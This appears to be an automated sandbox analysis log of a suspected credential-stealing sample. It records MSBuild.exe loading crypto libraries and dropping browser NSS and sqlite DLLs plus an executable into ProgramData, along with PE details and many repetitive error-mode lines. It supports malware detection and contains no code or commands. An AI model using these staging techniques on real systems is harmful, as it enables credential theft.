Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\timeout.exe	Section loaded: version.dll	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: f1r6P3j3g7.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: f1r6P3j3g7.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: f1r6P3j3g7.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: f1r6P3j3g7.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: f1r6P3j3g7.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: f1r6P3j3g7.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: f1r6P3j3g7.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: f1r6P3j3g7.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: mozglue.pdbP source: MSBuild.exe, 00000003.00000002.2215872054.000000006CC1D000.00000002.00000001.01000000.00000009.sdmp, MSBuild.exe, 00000003.00000002.2191931975.0000000023BAE000.00000004.00000020.00020000.00000000.sdmp, mozglue[1].dll.3.dr, mozglue.dll.3.dr
Source:	Binary string: freebl3.pdb source: MSBuild.exe, 00000003.00000002.2188979014.000000001DC31000.00000004.00000020.00020000.00000000.sdmp, freebl3[1].dll.3.dr, freebl3.dll.3.dr
Source:	Binary string: freebl3.pdbp source: MSBuild.exe, 00000003.00000002.2188979014.000000001DC31000.00000004.00000020.00020000.00000000.sdmp, freebl3[1].dll.3.dr, freebl3.dll.3.dr
Source:	Binary string: nss3.pdb@ source: MSBuild.exe, 00000003.00000002.2208972905.000000003B966000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2216736775.000000006CDDF000.00000002.00000001.01000000.00000008.sdmp, nss3[1].dll.3.dr, nss3.dll.3.dr
Source:	Binary string: softokn3.pdb@ source: MSBuild.exe, 00000003.00000002.2203639910.000000002FA8B000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.3.dr, softokn3.dll.3.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: MSBuild.exe, 00000003.00000002.2206196527.00000000359F7000.00000004.00000020.00020000.00000000.sdmp, vcruntime140.dll.3.dr, vcruntime140[1].dll.3.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: MSBuild.exe, 00000003.00000002.2195422275.0000000029B1F000.00000004.00000020.00020000.00000000.sdmp, msvcp140[1].dll.3.dr, msvcp140.dll.3.dr
Source:	Binary string: nss3.pdb source: MSBuild.exe, 00000003.00000002.2208972905.000000003B966000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2216736775.000000006CDDF000.00000002.00000001.01000000.00000008.sdmp, nss3[1].dll.3.dr, nss3.dll.3.dr
Source:	Binary string: C:\Users\Dan\Desktop\work\sqlite\tmp\sqlite_bld_dir\2\sqlite3.pdb source: MSBuild.exe, 00000003.00000002.2188334059.000000001D668000.00000002.00001000.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2182419932.00000000176F7000.00000004.00000020.00020000.00000000.sdmp, sql[1].dll.3.dr
Source:	Binary string: mozglue.pdb source: MSBuild.exe, 00000003.00000002.2215872054.000000006CC1D000.00000002.00000001.01000000.00000009.sdmp, MSBuild.exe, 00000003.00000002.2191931975.0000000023BAE000.00000004.00000020.00020000.00000000.sdmp, mozglue[1].dll.3.dr, mozglue.dll.3.dr
Source:	Binary string: softokn3.pdb source: MSBuild.exe, 00000003.00000002.2203639910.000000002FA8B000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.3.dr, softokn3.dll.3.dr

Source: f1r6P3j3g7.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: f1r6P3j3g7.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: f1r6P3j3g7.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: f1r6P3j3g7.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: f1r6P3j3g7.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 3_2_00418A63 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

3_2_00418A63

Source: sql[1].dll.3.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.3.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.3.dr	Static PE information: section name: .00cfg
Source: msvcp140[1].dll.3.dr	Static PE information: section name: .didat
Source: softokn3[1].dll.3.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.3.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.3.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.3.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.3.dr	Static PE information: section name: .didat
Source: softokn3.dll.3.dr	Static PE information: section name: .00cfg
Source: nss3.dll.3.dr	Static PE information: section name: .00cfg

Source: C:\Users\user\Desktop\f1r6P3j3g7.exe	Code function: 0_2_008F71AD push ecx; ret	0_2_008F71C0
Source: C:\Users\user\Desktop\f1r6P3j3g7.exe	Code function: 0_2_0094C13A push ecx; ret	0_2_0094C14D
Source: C:\Users\user\Desktop\f1r6P3j3g7.exe	Code function: 0_2_0094C2D8 push ds; retn 0003h	0_2_0094C38D
Source: C:\Users\user\Desktop\f1r6P3j3g7.exe	Code function: 0_2_0094C39E push ds; retn 0003h	0_2_0094C38D
Source: C:\Users\user\Desktop\f1r6P3j3g7.exe	Code function: 0_2_0094C454 push ds; retf 0003h	0_2_0094C455
Source: C:\Users\user\Desktop\f1r6P3j3g7.exe	Code function: 0_2_0094E9ED push 0000004Ch; iretd	0_2_0094E9FE
Source: C:\Users\user\Desktop\f1r6P3j3g7.exe	Code function: 0_2_0093ADAD push ecx; ret	0_2_0093ADC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_0042F262 push ecx; ret	3_2_0042F275
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_00422E59 push esi; ret	3_2_00422E5B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_0041DED5 push ecx; ret	3_2_0041DEE8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_00432715 push 0000004Ch; iretd	3_2_00432726
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CBDB536 push ecx; ret	3_2_6CBDB549
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: 10_2_00D071AD push ecx; ret	10_2_00D071C0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\KEGIDHJKKJ.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\nss3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\mozglue[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\msvcp140[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\sql[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\a43486128347[1].exe	Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\KEGIDHJKKJ.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

3_2_00418A63

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
